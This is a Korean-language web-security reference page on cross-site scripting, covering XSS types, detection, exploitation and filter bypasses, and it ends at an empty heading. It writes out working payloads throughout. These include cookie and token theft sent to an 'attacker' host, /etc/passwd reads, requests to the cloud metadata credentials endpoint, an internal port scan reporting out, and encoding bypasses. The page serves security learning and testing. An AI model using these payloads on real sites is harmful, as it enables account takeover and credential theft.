XSS (Cross-Site Scripting)

XSS (Cross-Site Scripting)

๐Ÿ” Introduction

XSS๋Š” Cross-Site Scripting์˜ ์•ฝ์ž๋กœ ์›น ์„œ๋น„์Šค์— Javascript ๋“ฑ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ์ฝ”๋“œ๋ฅผ ์‚ฝ์ž…ํ•˜์—ฌ ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž ๋“ฑ์—๊ฒŒ ๊ณต๊ฒฉ์ž๊ฐ€ ์˜๋„ํ•œ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•˜๊ฒŒ ํ•˜๋Š” ๊ณต๊ฒฉ ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค. OWASP TOP10์—๋„ ๋งค๋ฒˆ ํฌํ•จ๋  ๋งŒํผ ์•„์ฃผ ์ „ํ†ต์ ์ธ ๊ณต๊ฒฉ ๋ฐฉ๋ฒ•์ด์ง€๋งŒ ํ˜„์žฌ๊นŒ์ง€ ์ž์ฃผ ๋ฐœ์ƒํ•˜๋Š” ์ทจ์•ฝ์ ์œผ๋กœ ์›น ํ•ดํ‚น์„ ๋Œ€ํ‘œํ•˜๋Š” ๊ณต๊ฒฉ์ด๋ผ๊ณ  ์ƒ๊ฐํ•ฉ๋‹ˆ๋‹ค.

XSS๋Š” ํฌ๊ฒŒ Reflected/Stored/DOM 3๊ฐ€์ง€์˜ ํƒ€์ž…์œผ๋กœ ๋‚˜๋ˆ„์–ด ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ถ”๊ฐ€๋กœ ์ œํ•œ๋œ ํ™˜๊ฒฝ์—์„œ ๋ถˆํŠน์ • ๋„๋ฉ”์ธ์„ ๋Œ€์ƒ์œผ๋กœ ์˜ํ–ฅ์„ ์ค„ ์ˆ˜ ์žˆ๋Š” Univeral XSS(UXSS)์™€ ํŠน์ˆ˜ํ•œ ์ผ€์ด์Šค๋กœ ๋™์ž‘ํ•˜๋Š” Mutaion XSS(mXSS)๋Š” ๊ฐ๊ฐ ๊ฐœ๋ณ„์ ์ธ ํƒ€์ž…์œผ๋กœ ๋ณด๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

Non-persistent XSS (Reflected XSS)

์˜๋ฌธ ํ’€์ด ๊ทธ๋Œ€๋กœ ๋น„ ์ง€์†์ ์ธ XSS๋ฅผ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. ๊ฒ€์ƒ‰, ์กฐํšŒ ๊ธฐ๋Šฅ๊ณผ ๊ฐ™์ด ์‚ฌ์šฉ์ž๋กœ ๋ถ€ํ„ฐ ์ž…๋ ฅ ๋ฐ›์€ ๋ฐ์ดํ„ฐ๊ฐ€ ํŽ˜์ด์ง€์— ๋ฐ˜์‚ฌ๋˜์–ด ๋…ธ์ถœ๋˜๋Š” ๊ฒฝ์šฐ, ๊ณต๊ฒฉ์ฝ”๋“œ๊ฐ€ ํฌํ•จ๋œ URL์„ ํƒ€ ์‚ฌ์šฉ์ž์—๊ฒŒ ์ „๋‹ฌํ•˜๋Š” ๋ฐฉ์‹์œผ๋กœ ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค.

Request/Response

GET /page?q=a<script>alert(45)</script>bcd HTTP/1.1

HTTP/1.1 200
...

a<script>alert(45)</script>bcd

Persistent XSS (Stored XSS)

์ง€์†์ ์ธ XSS๋ฅผ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. ๋ณดํ†ต Stored XSS๋กœ ๋งŽ์ด ํ‘œํ˜„ํ•˜๋ฉฐ ๊ฒŒ์‹œ๊ธ€, ์‚ฌ์šฉ์ž ์ •๋ณด ๋“ฑ ํ•œ๋ฒˆ ์ €์žฅ๋˜๋ฉด ์žฅ๊ธฐ์ ์œผ๋กœ XSS ๊ณต๊ฒฉ์ฝ”๋“œ๊ฐ€ ์›น ์„œ๋น„์Šค์— ๋‚จ์•„ ์‚ฌ์šฉ์ž์—๊ฒŒ ์ง€์†์ ์œผ๋กœ ํ”ผํ•ด๋ฅผ ์ค„ ์ˆ˜ ์žˆ๋Š” XSS๋ฅผ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. ๋ณดํ†ต ์„œ๋น„์Šค ๊ธฐ๋Šฅ ์ƒ ์žฅ๊ธฐ์ ์œผ๋กœ ๋ฐ์ดํ„ฐ๊ฐ€ ๋‚จ๋Š” ํ”„๋กœํ•„ ์ €์žฅ, ๊ฒŒ์‹œ๊ธ€ ์ž‘์„ฑ, ๋Œ“๊ธ€ ์ž‘์„ฑ๋“ฑ์˜ ๊ธฐ๋Šฅ์—์„œ ๋‚˜ํƒ€๋‚˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋งŽ์Šต๋‹ˆ๋‹ค.

Request - Save

POST /profile HTTP/1.1

name=a<script>alert(45)</script>bcd

Request - Trigger

GET /profile

HTTP/1.1 200
...

Name: a<script>alert(45)</script>bcd

DOM XSS

DOM XSS๋Š” Reflected, Stored XSS์™€ ์œ ์‚ฌํ•˜์ง€๋งŒ ์‚ฌ์šฉ์ž ์ž…๋ ฅ์ด ํŽ˜์ด์ง€์— ์ง์ ‘ ๋ฐ˜์˜๋˜๋Š” ํ˜•ํƒœ๊ฐ€ ์•„๋‹Œ, JS ํ•จ์ˆ˜๋“ฑ์œผ๋กœ ์ธํ•ด DOM ๋‚ด๋ถ€์—์„œ ์ฒ˜๋ฆฌ๋˜๋Š” ์ค‘ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹คํ–‰ ๊ฐ€๋Šฅํ•œ XSS๋ฅผ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.

Request/Response

GET /page?q=alert(45) HTTP/1.1

HTTP/1.1 200
...

<script>
function getParameterByName(name) {
    name = name.replace(/[\[]/, "\\[").replace(/[\]]/, "\\]");
    var regex = new RegExp("[\\?&]" + name + "=([^&#]*)"),
        results = regex.exec(location.search);
    return results == null ? "" : decodeURIComponent(results[1].replace(/\+/g, " "));
}

eval(getParameterByName('q'))
</script>

UXSS (Universal XSS)

UXSS๋Š” ์„œ๋น„์Šค์™€ ๊ด€๊ณ„์—†์ด ๋ถˆํŠน์ •ํ•œ ์‚ฌ์ดํŠธ์—์„œ ๋ฐœ์ƒ ๊ฐ€๋Šฅํ•œ XSS๋ฅผ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. ๋ณดํ†ต ์›น ๋ณด๋‹ค๋Š” ๋ชจ๋ฐ”์ผ ์•ฑ, ๋„ค์ดํ‹ฐ๋ธŒ ์•ฑ์—์„œ ๋ฐœ์ƒํ•˜๋ฉฐ ๋Œ€ํ‘œ์ ์ธ ์˜ˆ์‹œ๋กœ๋Š” Mobile App์˜ WebView ์ž์ฒด์—์„œ ๋ฐœ์ƒํ•˜๋Š” XSS๋กœ ์ธํ•ด ๋„๋ฉ”์ธ๊ณผ ๊ด€๊ณ„์—†์ด ์ •๋ณด๋ฅผ ํƒˆ์ทจํ•˜๋Š” XSS ๋“ฑ์ด ์žˆ์Šต๋‹ˆ๋‹ค.

Blind XSS

Blind XSS๋Š” ์‚ฌ์šฉ์ž์˜ XSS ์ฝ”๋“œ ์‚ฝ์ž…์˜ ๊ฒฐ๊ณผ๋ฅผ ์ฆ‰๊ฐ ํ™•์ธํ•  ์ˆ˜ ์—†๋Š” XSS๋ฅผ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. ๋ณดํ†ต ๊ณ ๊ฐ์„ผํ„ฐ, ๋ฌธ์˜ ๊ธฐ๋Šฅ ๋“ฑ ๊ณต๊ฒฉ์ž๊ฐ€ ์ „๋‹ฌํ•œ ์š”์ฒญ์ด ๋‹ค๋ฅธ ์‹œ์Šคํ…œ์—์„œ XSS ์ฝ”๋“œ๋กœ ์‹คํ–‰๋˜๋Š” ๊ฒฝ์šฐ XSS๊ฐ€ ๊ฐ€๋Šฅํ•˜์ง€๋งŒ, ๊ณต๊ฒฉ์ž๋Š” ์‹คํ–‰์—ฌ๋ถ€๋ฅผ ์•Œ ์ˆ˜ ์—†๊ธฐ ๋•Œ๋ฌธ์— ์ด๋Ÿฌํ•œ ๊ณต๊ฒฉ์„ Blind XSS ๋ผ๊ณ  ํ•ฉ๋‹ˆ๋‹ค.

Blind XSS ๋ฅผ ํƒ์ง€ํ•˜๋Š” ๋ฐฉ๋ฒ•์€ ๋ณ„๋„์˜ Callback ์„œ๋ฒ„๋ฅผ ๋‘๊ณ  <script src="callback"></script> ์™€ ๊ฐ™์ด ์Šคํฌ๋ฆฝํŠธ๊ฐ€ callback ์„œ๋ฒ„๋ฅผ ํ˜ธ์ถœํ•˜๋„๋ก ํ•˜์—ฌ ์Šคํฌ๋ฆฝํŠธ์˜ ์‹คํ–‰ ์—ฌ๋ถ€๋ฅผ ์•Œ ์ˆ˜ ์žˆ๋Š”๋ฐ, ๋ณดํ†ต์€ Blind XSS์˜ ์ž์„ธํ•œ ์‹คํ–‰์ •๋ณด(์–ด๋–ค IP์—์„œ ์–ด๋–ค ํŽ˜์ด์ง€์—์„œ ์‹คํ–‰๋˜์—ˆ๋Š”์ง€ ๋“ฑ) ํŒŒ์•…์„ ์œ„ํ•ด XSSHunter(https://xsshunter.com)์™€ ๊ฐ™์€ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.

๋ณดํ†ต

Referer: asd'"><script src="//hahwul.xss.ht"></script>

dalfox์—์„œ๋„ ์ด๋ฅผ ์‰ฝ๊ฒŒ ์ฒดํฌํ•  ์ˆ˜ ์žˆ๋„๋ก -b (--blind) ์˜ต์…˜์„ ํ†ตํ•ด dalfox๊ฐ€ ์—ฌ๋Ÿฌ๊ฐ€์ง€ blind xss ํŒจํ„ด์„ ์„œ๋น„์Šค์˜ parameter, path, header ๋“ฑ์— ์‚ฝ์ž…ํ•˜์—ฌ ํŠธ๋ฆฌ๊ฑฐ๋ฅผ ์œ ๋„ ์‹œํ‚ต๋‹ˆ๋‹ค.

dalfox url https://google.com?q=1234 -b hahwul.xss.ht

XSSHunter๋ฅผ ํ†ตํ•œ ํŠธ๋ฆฌ๊ฑฐ ๋ฉ”์ผ

mXSS (Mutaion XSS)

mXSS(Muation XSS)๋Š” ์›น ๋ธŒ๋ผ์šฐ์ €๋“ค์˜ HTML Parser์˜ ์˜ค์ ์„ ์ด์šฉํ•œ XSS๋กœ ๋ธŒ๋ผ์šฐ์ €์˜ HTML Parser๊ฐ€ ๋น„์ •์ƒ์ ์ธ HTML ์ฝ”๋“œ๋ฅผ ๋งŒ๋‚ฌ์„ ๋•Œ ์ •์ƒ์ ์ธ ํ˜•ํƒœ๋กœ ์ „ํ™˜ํ•ด์„œ ์‚ฌ์šฉํ•˜๋Š”๋ฐ, ์ด ๋•Œ ๊ตฌ๋ฌธ์ƒ์œผ๋กœ๋Š” non-script ์˜์—ญ์œผ๋กœ ํŒ๋‹จํ•˜์ง€๋งŒ, ์‹ค์ œ๋กœ๋Š” scripting์ด ๊ฐ€๋Šฅํ•œ ํ˜•ํƒœ์˜ XSS๋ฅผ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.

input

<math>
	<mtext>
	<table>
	<mglyph>
	<style><!--</style>
	<img title="--&gt;&lt;img src=1 onerror=alert(1)&gt;">

output

<math>
	<mtext>
		<mglyph>
			<style><!--</style>
			<img title="--></stype></mglyph><img src="1" onerror=alert(1)>"
	</mtext>
</math>

firefox

<math><mtext><table><mglyph><style><![CDATA[</style><img title="]]&gt;&lt;/mglyph&gt;&lt;img&Tab;src=1&Tab;onerror=alert(1)&gt;">

chrome

<math><mtext><table><mglyph><style><!--</style><img title="--&gt;&lt;img src=1 onerror=alert(1)&gt;">

safari

<math><mtext><table><mglyph><style><!--</style><img title="--&gt;&lt;img src=1 onerror=alert(1)&gt;">
<math><mtext><table><mglyph><style><![CDATA[</style><img title="]]&gt;&lt;/mglyph&gt;&lt;img&Tab;src=1&Tab;onerror=alert(1)&gt;">

in Vue

<x title"="&lt;iframe&Tab;onload&Tab;=alert(1)&gt;">
<x title"="&lt;iframe&Tab;onload&Tab;=setTimeout(/alert(1)/.source)&gt;">
<noscript>&lt;/noscript&gt;&lt;iframe&gt;</noscript>
<xmp>&lt;/xmp&gt;&lt;iframe&gt;</xmp>
<xyz<img/src onerror=alert(1)>>
<svg><svg><b><noscript>&lt;/noscript&gt;&lt;iframe&Tab;onload=alert(1)&gt;</noscript></b></svg>

Server-Side XSS (SSXSS)

Server-Side XSS๋Š” ์ผ๋ฐ˜์ ์ธ XSS์™€ ๋‹ค๋ฅด๊ฒŒ Server์—์„œ ์‹คํ–‰๋˜๋Š” XSS๋ฅผ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. ๋Œ€์ฒด๋กœ Dynamic PDF/Images ๊ณผ ๊ฐ™์€ ๊ธฐ๋Šฅ, ๊ทธ๋ฆฌ๊ณ  ์ผ๋ถ€ Headless๋ฅผ ํ†ตํ•œ ์ž๋™ํ™” ํ”Œ๋กœ์šฐ(์Šคํฌ๋ฆฐ์ƒท ์บก์ณ, Headless ๊ธฐ๋ฐ˜์˜ ์ž๋™ํ™” ํ”Œ๋กœ์šฐ ๋“ฑ)์™€ ๊ฐ™์ด Server-Side์—์„œ Headless ๋“ฑ ์›น ๋ธŒ๋ผ์šฐ์ €๋ฅผ ํ†ตํ•ด ํŽ˜์ด์ง€์— ์ ‘๊ทผํ•  ๋•Œ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.

XSS์™€ ์œ ์‚ฌํ•˜์ง€๋งŒ Server-Side์—์„œ ๋™์ž‘ํ•˜๊ธฐ ๋•Œ๋ฌธ์— LFI, SSRF ๋ฐ API Key ํƒˆ์ทจ ๋“ฑ ๋ฆฌ์Šคํฌ ์žˆ๋Š” ๊ณต๊ฒฉ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

LFI
<iframe src=file:///etc/passwd></iframe>

SSRF
<iframe src=https://internal.service/getSystem></iframe>

๐Ÿ—ก Offensive techniques

Detect

XSS์˜ ์‹๋ณ„์€ ๊ธฐ๋ณธ์ ์œผ๋กœ โ€œ์‚ฌ์šฉ์ž์˜ ์ž…๋ ฅ์ด ์„œ๋น„์Šค์— ๋ฐ˜์˜๋  ์ˆ˜ ์žˆ๋Š”๊ฐ€?โ€ ์—์„œ ์ถœ๋ฐœํ•ฉ๋‹ˆ๋‹ค. ์‚ฌ์šฉ์ž์˜ ์ž…๋ ฅ์ด ํŽ˜์ด์ง€์— ์–ด๋–ค ํ˜•ํƒœ๋กœ๋ผ๋„ ๋ฐ˜์˜๋œ๋‹ค๋ฉด ๊ธฐ๋ณธ์ ์œผ๋กœ XSS์˜ ๊ฐ€๋Šฅ์„ฑ์„ ๊ฐ€์ง‘๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์„œ ์‹ค์ œ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•˜๋Š”๋ฐ ํ•„์š”ํ•œ ํŠน์ˆ˜๋ฌธ์ž๋‚˜, ์ฝ”๋“œ ๋“ฑ์„ ํŽ˜์ด์ง€์— ๋ฐ˜์˜ํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ํ…Œ์ŠคํŠธํ•˜๋Š” ๊ฒƒ์ด XSS ํ…Œ์ŠคํŒ…์˜ ๋Œ€๋‹ค์ˆ˜ ์ž‘์—…์ž…๋‹ˆ๋‹ค.

Request

GET /serach?query=asdf"><br>1234 HTTP/1.1

Response

๊ฒ€์ƒ‰ ๊ฒฐ๊ณผ๋Š” asdf"><br>1234 ์ž…๋‹ˆ๋‹ค.

XSS

GET /serach?query=asdf<svg/onload=alert(45)>1234 HTTP/1.1

Response

๊ฒ€์ƒ‰ ๊ฒฐ๊ณผ๋Š” asdf<svg/onload=alert(45)>1234 ์ž…๋‹ˆ๋‹ค.

Exploitation

์ผ๋ฐ˜์ ์œผ๋กœ XSS์— ๋Œ€ํ•œ ๊ฒ€์ฆ์€ alert() / prompt() / confirm() ์œผ๋กœ ํŽ˜์ด์ง€์— dialog๋ฅผ ์—ด์–ด ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹คํ–‰๋  ์ˆ˜ ์žˆ์Œ์„ ๊ฒ€์ฆํ•ฉ๋‹ˆ๋‹ค. ๋‹ค๋งŒ iframe ๋‚ด๋ถ€์—์„œ์˜ ์ด๋Ÿฐ dialog ํ•จ์ˆ˜๋“ค์€ chrome ์ •์ฑ…์— ์˜ํ•ด ์ฐจ๋‹จ๋˜๊ธฐ ๋•Œ๋ฌธ์— print() ๋“ฑ๋„ ๊ฒ€์ฆ์„ ์œ„ํ•œ ์ข‹์€ ๋Œ€์•ˆ์ด ๋ฉ๋‹ˆ๋‹ค.

XSS๊ฐ€ ์‹ค์ œ๋กœ ๊ณต๊ฒฉ์— ํ™œ์šฉ๋˜๋Š” ๋ถ€๋ถ„์€ ๊ต‰์žฅํžˆ ๋‹ค์–‘ํ•œ๋ฐ, ๊ฐ„๋‹จํ•˜๊ฒŒ๋Š” ์‚ฌ์šฉ์ž์˜ ์ฟ ํ‚ค/์ธ์ฆํ† ํฐ ํƒˆ์ทจ๋ถ€ํ„ฐ ์•…์„ฑ์ฝ”๋“œ ๊ฐ์—ผ ์œ ๋„, CSRF, SOP๋“ฑ์˜ ๋ณด์•ˆ ์ •์ฑ…์„ ๋ฒ—์–ด๋‚œ ์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰, ์›น ์š”์ฒญ์œผ๋กœ Javascript๋ฅผ ์ด์šฉํ•ด ํ•  ์ˆ˜ ์žˆ๋Š” ๋ชจ๋“  ๊ธฐ๋Šฅ์ด XSS์˜ ์˜ํ–ฅ๋ ฅ์ด ๋ฉ๋‹ˆ๋‹ค.

<script>document.location='//attacker/?c='+document.cookie</script>
<script>document.location='//attacker/?c='+localStorage.getItem('access_token')</script>
<script>new Image().src="//attacker/?c="+document.cookie;</script>
<script>new Image().src="//attacker/?c="+localStorage.getItem('access_token');</script>

Run service functions

XSS ์ฝ”๋“œ๋Š” ์‚ฌ์šฉ์ž์˜ DOM ์˜์—ญ์—์„œ ๋™์ž‘ํ•˜๊ธฐ ๋–„๋ฌธ์— ์›น ํŽ˜์ด์ง€์—์„œ ๋ฏธ๋ฆฌ ๋งŒ๋“ค์–ด์ง„ ํ•จ์ˆ˜๋“ค์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ๋“ค์–ด ์›น ํŽ˜์ด์ง€์— JS์ฝ”๋“œ๋กœ ์‚ฌ์šฉ์ž์˜ ํ† ํฐ์„ ๊ฐ€์ ธ์˜ค๋Š” ํ•จ์ˆ˜๊ฐ€ ์ •์˜๋˜์–ด ์žˆ๋‹ค๊ณ  ํ•œ๋‹ค๋ฉด, XSS ์ฝ”๋“œ ๋˜ํ•œ ๊ทธ ์ฝ”๋“œ๋ฅผ ๋™์ผํ•˜๊ฒŒ ์‚ฌ์šฉํ•˜์—ฌ ํ† ํฐ์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์œผ๋กœ XSS๋กœ ๋ถ€ํ„ฐ cookie๋ฅผ ๋ณดํ˜ธํ•˜๊ธฐ ์œ„ํ•ด cookie์— HttpOnly ๋“ฑ ๋ณด์•ˆ ์„ค์ •์„ ์ง„ํ–‰ํ•˜๊ฒŒ ๋˜๋Š”๋ฐ, ์ด ์ฟ ํ‚ค ์ •๋ณด๋ฅผ Js ๋‚ด๋ถ€์—์„œ ๊ฐ€์ง€๊ณ  ์žˆ๊ฑฐ๋‚˜ ๋‹ค๋ฅธ ๊ฐ์ฒด์— ์ €์žฅํ•ด๋‘์—ˆ๋‹ค๋ฉด ๊ณต๊ฒฉ์ž๊ฐ€ ์ด๋ฅผ ์šฐํšŒํ•˜๊ณ  ์‰ฝ๊ฒŒ ์ฟ ํ‚ค์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

Bypass SOP

SOP๋Š” Same-Origin-Policy๋กœ ๋™์ผ ๋„๋ฉ”์ธ์—์„œ๋งŒ ๋ฐ์ดํ„ฐ๋ฅผ ์ฒ˜๋ฆฌํ•˜๊ณ  ์ฝ์„ ์ˆ˜ ์žˆ๋„๋ก ์ œํ•œํ•˜๋Š” ๋ณด์•ˆ ์ •์ฑ…์ธ๋ฐ, XSS์˜ ๊ฒฝ์šฐ ์„œ๋น„์Šค์˜ ๋„๋ฉ”์ธ์—์„œ ๋™์ž‘ํ•˜๊ธฐ ๋–„๋ฌธ์— ์ด๋Ÿฌํ•œ ๋ณด์•ˆ ํ†ต์ œ๊ฐ€ ๋ฌด๋ ฅํ™” ๋ฉ๋‹ˆ๋‹ค.

var bodyData = {newPassword :"hacked"};
$.ajax({
        type: "POST",
        data :JSON.stringify(bodyData),
        url: "/api/update/me",
        contentType: "application/json"
});

Find DOM Objects

function f(name) {
    A = Object.getOwnPropertyNames(eval(name))
    for (var i = 0; i < A.length; ++i) {
      console.log('['+name+'.'+A[i]+']');
      try {
        eval('console.log("    "+'+name+'.'+A[i]+'+[])');
      } catch (e) { }
    }
}

f('window')
<meta http-equiv="Set-Cookie" content="name=<script>alert(1)</script>">

LFI via SSXSS

Server-Side XSS(SSXSS) ๋ฐœ์ƒ ์‹œ ์‹œ์Šคํ…œ ํŒŒ์ผ์„ ํŽ˜์ด์ง€์— ํฌํ•จ์‹œ์ผœ ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

with Tag

<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>

with Script

<script>
    xhzeem = new XMLHttpRequest();
    xhzeem.open("GET","file:///etc/passwd");
    xhzeem.send();
    xhzeem.onload = function(){document.write(this.responseText);}
    xhzeem.onerror = function(){document.write('failed!')}
</script>

SSRF via SSXSS

Server-Side XSS(SSXSS) ๋ฐœ์ƒ ์‹œ ํƒ€ ์‹œ์Šคํ…œ์œผ๋กœ iframe ๋“ฑ์„ ๊ฑธ์–ด SSRF๊ฐ€ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

<iframe src="https://internal.service"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe>

Info leak via SSXSS

Server-Side์—์„œ ๋ธŒ๋ผ์šฐ์ €๋ฅผ ํ†ตํ•ด ์ฒ˜๋ฆฌํ•˜๋Š” ๊ธฐ๋Šฅ๋“ค์˜ ๊ฒฝ์šฐ ์›น ์ ‘๊ทผ์ด๋‚˜ ํŽ˜์ด์ง€ ๋‚ด๋ถ€์— ์ค‘์š”ํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ํฌํ•จํ•˜๊ณ  ์žˆ์„ ๊ฐ€๋Šฅ์„ฑ์ด ๋†’์Šต๋‹ˆ๋‹ค. ๊ทธ๋ž˜์„œ Server-Side XSS(SSXSS) ๋ฐœ์ƒ ์‹œ ์„œ๋ฒ„์ •๋ณด ํƒˆ์ทจ ๋˜ํ•œ ์ค‘์š”ํ•œ ํฌ์ธํŠธ์ž…๋‹ˆ๋‹ค.

Location
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>

Cookie
<script> document.write(document.cookie) </script>

DOM
<script> document.write(btoa(document.documentElement.innerHTML)) </script>

Portscan via SSXSS

Server-Side XSS(SSXSS) ๋ฐœ์ƒ ์‹œ ๋‚ด๋ถ€๋ง์—์„œ ์ฝ”๋“œ๊ฐ€ ๋™์ž‘ํ•˜๊ธฐ ๋•Œ๋ฌธ์— ์ด๋ฅผ ์ด์šฉํ•˜์—ฌ ํฌํŠธ ์Šค์บ๋‹๋„ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

<script>
const checkPort = (port) => {
    fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
        let img = document.createElement("img");
        img.src = `http://attacker.com/ping?port=${port}`;
    });
}

for(let i=0; i<1000; i++) {
    checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">

BeEF

BeEF(https://beefproject.com)๋Š” Browser Exploitation Framework์ž…๋‹ˆ๋‹ค. XSS ์ฝ”๋“œ๊ฐ€ ์‚ฝ์ž…๋œ ํŽ˜์ด์ง€์— ์ ‘๊ทผํ•œ ์‚ฌ์šฉ์ž๋ฅผ Agent ์ฒ˜๋Ÿผ ์‚ฌ์šฉํ•˜๋ฉด์„œ JS ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๊ฑฐ๋‚˜ ๊ณต๊ฒฉ์ž๊ฐ€ ์›ํ•˜๋Š” ๋™์ž‘์„ ์ˆ˜ํ–‰ํ•˜๋„๋ก ๋ช…๋ น์„ ๋‚ด๋ฆด ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ž์„ธํ•œ ๋‚ด์šฉ์€ BeEF ์œ„ํ‚ค๋ฅผ ์ฐธ๊ณ ํ•ด์ฃผ์„ธ์š”.

  • Basic Utilization
    • Configuration
    • Interface
    • Information Gathering
    • Social Engineering
    • Network Discovery
    • Metasploit
    • Tunneling
    • XSS Rays
    • Persistence
    • Creating a Module
    • Geolocation
    • Using-BeEF-With-NGROK
  • Advanced Utilization
    • RESTful API
    • Autorun Rule Engine
    • Notifications
    • Console
    • WebRTC Extension

Bypass protection

Basic mechanism

XSS์˜ ์šฐํšŒ ๊ธฐ์ˆ ์€ ๋Œ€๋ถ€๋ถ„ ์›น๊ณผ ๋ธŒ๋ผ์šฐ์ €์˜ ์ •์ฑ…, ๊ทธ๋ฆฌ๊ณ  ๊ฐœ๋ฐœ์ž๊ฐ€ ์˜๋„ํ•œ ์ถ”๊ฐ€์ ์ธ ๊ธฐ๋Šฅ๋“ค์„ ์ด์šฉํ•ด ์ด๋ฃจ์–ด์ง‘๋‹ˆ๋‹ค. ๊ฐ์ข… ์ธ์ฝ”๋”ฉ๋ถ€ํ„ฐ ํŠน์ˆ˜ํ•œ ๋ฌธ์ž ์…‹, ๊ทธ๋ฆฌ๊ณ  ๊ธฐ์กด XSS ๋ณดํ˜ธ ๋กœ์ง์„ ์—ญ์ด์šฉํ•œ ๋ฐฉ๋ฒ• ๋“ฑ ๋งค์šฐ ๋งŽ์œผ๋ฉฐ, ์ด๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ ์„œ๋น„์Šค์—์„œ Input์„ ์–ด๋–ป๊ฒŒ ๋ฐ›๊ณ  ์ฒ˜๋ฆฌํ•˜๋А๋ƒ๋ฅผ ์ค‘์ ์ ์œผ๋กœ ์ƒ๊ฐ ํ•ด์•ผํ•ฉ๋‹ˆ๋‹ค. ๋”ฑ ์ •ํ•ด์ง„ ๋ฐฉ๋ฒ•์ด ์žˆ๋Š”๊ฒŒ ์•„๋‹ˆ๋ผ์„œ ํ•œ๋ฒˆ ๋” ์ƒ๊ฐํ•ด๋ณด๊ณ  ๊ณ ๋ฏผํ•ด๋ณด๋Š” ์Šต๊ด€์„ ๊ฐ€์ ธ์•ผ ์ž˜ ํ’€์–ด๋‚˜๊ฐˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์•„๋ž˜๋Š” ์•„์ฃผ ๊ธฐ๋ณธ์ ์ธ ์šฐํšŒ ๋ฐฉ๋ฒ•๋“ค์ด๋‹ˆ ์ฐธ๊ณ ํ•˜์‹œ๊ธธ ๋ฐ”๋ž˜์š”.

https://www.hahwul.com/2016/06/08/web-hacking-anti-xss-filter-evasion-of/

URL Encoding

  • %3C โ‡’ <
  • %3E โ‡’ >
  • %22 โ‡’ "
  • %27 โ‡’ '

๋“ฑ URL Encode๋ฅผ ์ด์šฉํ•œ ์šฐํšŒ๊ธฐ๋ฒ•์ž…๋‹ˆ๋‹ค. ์ฒ˜๋ฆฌํ•˜๋Š” ์•ฑ์— ๋”ฐ๋ผ์„œ ์—ฌ๋Ÿฌ๋ฒˆ Encodeํ•˜์—ฌ ์šฐํšŒํ•˜๋Š” ๊ฒฝ์šฐ๋„ ์žˆ์Šต๋‹ˆ๋‹ค.

  • %253C
  • %253E
  • %2522
  • %2527
  • %25253C
  • %25253E
  • %252522
  • %252527

HEX Encoding

https://www.hahwul.com/2015/06/26/web-hacking-hex-encoding-xss/

GET /?title=%26%23x003C;script%26%23x003E;alert(45)%26%23x003C;/script%26%23x003E; 
  • &#x003c โ‡’ <
  • &#x003e โ‡’ >
  • &#x0022 โ‡’ "
  • &#x0027 โ‡’ '

Unicode Encoding

  • \u003c โ‡’ <
  • \u003e โ‡’ >
  • \u0022 โ‡’ "
  • \u0027 โ‡’ '

GBK Encoding

  • ๅ˜พ = %E5%98%BE = \u563e โ‡’ %3E >
  • ๅ˜ผ = %E5%98%BC = \u563c โ‡’ %3C <
  • ๅ˜ข = %E5%98%A2 = \u5622 โ‡’ %22 '
  • ๅ˜ง = %E5%98%A7 = \u5627 โ‡’ %27 "

Bypass domain check protection

<script src="data://www.trustdomain.hahwul.com, alert(45)"></script>

์ž์„ธํ•œ ๋‚ด์šฉ์€ https://www.hahwul.com/2019/03/26/bypass-domain-check-protection-with-data-for-xss/ ์„ ์ฐธ๊ณ ํ•ด์ฃผ์„ธ์š”.

Bypass DOM XSS Filter

